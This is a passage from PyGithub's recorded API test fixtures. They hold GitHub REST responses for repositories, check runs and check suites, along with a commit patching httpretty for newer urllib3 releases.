'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1735920624'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '98CE:654DF:228DAECD:236D25A9:677801D9')] {"id":305573836,"node_id":"MDEwOlJlcG9zaXRvcnkzMDU1NzM4MzY=","name":"pygithub-testing","full_name":"dhruvmanila/pygithub-testing","private":false,"owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/dhruvmanila/pygithub-testing","description":"This repository is a hot bed for testing GitHub API endpoints for PyGithub.","fork":false,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing","forks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/forks","keys_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/teams","hooks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/hooks","issue_events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/events{/number}","events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/events","assignees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/assignees{/user}","branches_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/branches{/branch}","tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/tags","blobs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/statuses/{sha}","languages_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/languages","stargazers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/stargazers","contributors_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contributors","subscribers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscribers","subscription_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscription","commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/comments{/number}","contents_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contents/{+path}","compare_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/merges","archive_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/downloads","issues_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues{/number}","pulls_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/pulls{/number}","milestones_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/milestones{/number}","notifications_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/labels{/name}","releases_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/releases{/id}","deployments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/deployments","created_at":"2020-10-20T02:59:36Z","updated_at":"2020-11-27T19:19:41Z","pushed_at":"2020-12-09T11:00:30Z","git_url":"git://github.com/dhruvmanila/pygithub-testing.git","ssh_url":"git@github.com:dhruvmanila/pygithub-testing.git","clone_url":"https://github.com/dhruvmanila/pygithub-testing.git","svn_url":"https://github.com/dhruvmanila/pygithub-testing","homepage":null,"size":3,"stargazers_count":1,"watchers_count":1,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":1,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","network_count":0,"subscribers_count":1} https GET api.github.com None /repos/PyGithub/PyGithub/check-runs/34942661139 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 15:27:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0a98474e63c737c32a5d5ab131d72f09a5746cb2ca670ee6011d4c05f1baaf1c"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1735920624'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '98DA:4D504:21C8977C:22A80EED:677801DA')] {"id":34942661139,"name":"test (Python 3.8 on Ubuntu)","node_id":"CR_kwDOADYVqs8AAAAIIr6yEw","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"8ece7711-e8e8-5d87-8f8a-6791d424ecd6","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/12528252236/job/34942661139","details_url":"https://github.com/PyGithub/PyGithub/actions/runs/12528252236/job/34942661139","status":"completed","conclusion":"success","started_at":"2024-12-28T16:51:59Z","completed_at":"2024-12-28T16:53:10Z","output":{"title":null,"summary":null,"text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"check_suite":{"id":32504127411},"app":{"id":15368,"client_id":"Iv1.05c79e9ad1f6bdfa","slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","user_view_type":"public","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2024-04-10T20:33:16Z","permissions":{"actions":"write","administration":"read","attestations":"write","checks":"write","contents":"write","deployments":"write","discussions":"write","issues":"write","merge_queues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["branch_protection_rule","check_run","check_suite","create","delete","deployment","deployment_status","discussion","discussion_comment","fork","gollum","issues","issue_comment","label","merge_group","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 15:27:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"22515990de05401ec0b7dcd40dd82e085940cf75f2f0b9fd9a8ce9d63a6997c0"'), ('Last-Modified', 'Sat, 28 Dec 2024 16:51:40 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1735920624'), ('X-RateLimit-Used', '19'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '98E2:4DB83:20817CB3:2160F372:677801DA')] {"sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","node_id":"C_kwDOADYVqtoAKDEwYTcxMzVhMDRmNzFlNjEwMWY4YjAxM2FkZWQ4YTY2MmQwOGZkMWY","commit":{"author":{"name":"Enrico Minack","email":"github@enrico.minack.dev","date":"2024-12-28T16:41:46Z"},"committer":{"name":"Enrico Minack","email":"github@enrico.minack.dev","date":"2024-12-28T16:51:40Z"},"message":"Patch httpretty socket for latest urllib3 release","tree":{"sha":"deb3f7784c24794fe277714a37d9f874d24543eb","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/deb3f7784c24794fe277714a37d9f874d24543eb"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null,"verified_at":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f","html_url":"https://github.com/PyGithub/PyGithub/commit/10a7135a04f71e6101f8b013aded8a662d08fd1f","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/comments","author":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"sha":"3d84a47a88f6757514cb3ee91b829f53ba09e7e0","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3d84a47a88f6757514cb3ee91b829f53ba09e7e0","html_url":"https://github.com/PyGithub/PyGithub/commit/3d84a47a88f6757514cb3ee91b829f53ba09e7e0"}],"stats":{"total":18,"additions":18,"deletions":0},"files":[{"sha":"8269150ead8825d3a0607bb3f60b0d1466c1fbd2","filename":"tests/Framework.py","status":"modified","additions":18,"deletions":0,"changes":18,"blob_url":"https://github.com/PyGithub/PyGithub/blob/10a7135a04f71e6101f8b013aded8a662d08fd1f/tests%2FFramework.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/10a7135a04f71e6101f8b013aded8a662d08fd1f/tests%2FFramework.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FFramework.py?ref=10a7135a04f71e6101f8b013aded8a662d08fd1f","patch":"@@ -62,6 +62,8 @@\n from typing import Optional\n \n import httpretty # type: ignore\n+import urllib3\n+from packaging.version import Version\n from requests.structures import CaseInsensitiveDict\n from urllib3.util import Url # type: ignore\n \n@@ -87,6 +89,22 @@\n \"\"\"\n \n \n+# patch httpretty against urllib3>=2.3.0 https://github.com/PyGithub/PyGithub/issues/3101\n+if Version(urllib3.__version__) >= Version(\"2.3.0\"):\n+ getattr = httpretty.core.fakesock.socket.__getattr__\n+\n+ def patched_getattr(self, name):\n+ def shutdown(how: int):\n+ pass\n+\n+ if name == \"shutdown\" and not httpretty.core.httpretty.allow_net_connect and not self.truesock:\n+ return shutdown\n+\n+ return getattr(self, name)\n+\n+ httpretty.core.fakesock.socket.__getattr__ = patched_getattr\n+\n+\n def readLine(file_):\n line = file_.readline()\n if isinstance(line, bytes):"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testAttributes.txt0000644000175100001660000002143414756101563023452 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/check-suites/32504127411 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 18:39:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cf37edb770e117d44287f2b73ea121cea53b58824434ae25c42768094feb7718"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1736275846'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'E55A:3F163C:341D0EB:354A600:677D74F7')] {"id":32504127411,"node_id":"CS_kwDOADYVqs8AAAAHkWWfsw","head_branch":"httpretty-urllib3-fix","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","status":"completed","conclusion":"success","url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/32504127411","before":null,"after":null,"pull_requests":[],"app":{"id":15368,"client_id":"Iv1.05c79e9ad1f6bdfa","slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","user_view_type":"public","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2024-04-10T20:33:16Z","permissions":{"actions":"write","administration":"read","attestations":"write","checks":"write","contents":"write","deployments":"write","discussions":"write","issues":"write","merge_queues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["branch_protection_rule","check_run","check_suite","create","delete","deployment","deployment_status","discussion","discussion_comment","fork","gollum","issues","issue_comment","label","merge_group","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"created_at":"2024-12-28T16:51:51Z","updated_at":"2024-12-28T17:13:41Z","rerequestable":true,"runs_rerequestable":false,"latest_check_runs_count":10,"check_runs_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/32504127411/check-runs","head_commit":{"id":"10a7135a04f71e6101f8b013aded8a662d08fd1f","tree_id":"deb3f7784c24794fe277714a37d9f874d24543eb","message":"Patch httpretty socket for latest urllib3 release","timestamp":"2024-12-28T16:51:40Z","author":{"name":"Enrico Minack","email":"github@enrico.minack.dev"},"committer":{"name":"Enrico Minack","email":"github@enrico.minack.dev"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testCheckRunAnnotationAttributes.txt0000644000175100001660000001364614756101563027136 0ustar00runnerdockerhttps GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1280914700 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:04:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"3b36d1f6627dd72cb179d9f623bb650ad1d8e4235fe273b73bd87fb9b687a99a"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4912'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '88'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF1D:66AD:C720DE:11257AA:5F924859')] {"id":1280914700,"node_id":"MDg6Q2hlY2tSdW4xMjgwOTE0NzAw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"102","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280914700","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:34:15Z","completed_at":"2020-10-20T12:31:28Z","output":{"title":"Check run for testing list of annotations","summary":"This is test to get the list of annotations.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations"},"name":"annotations","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for 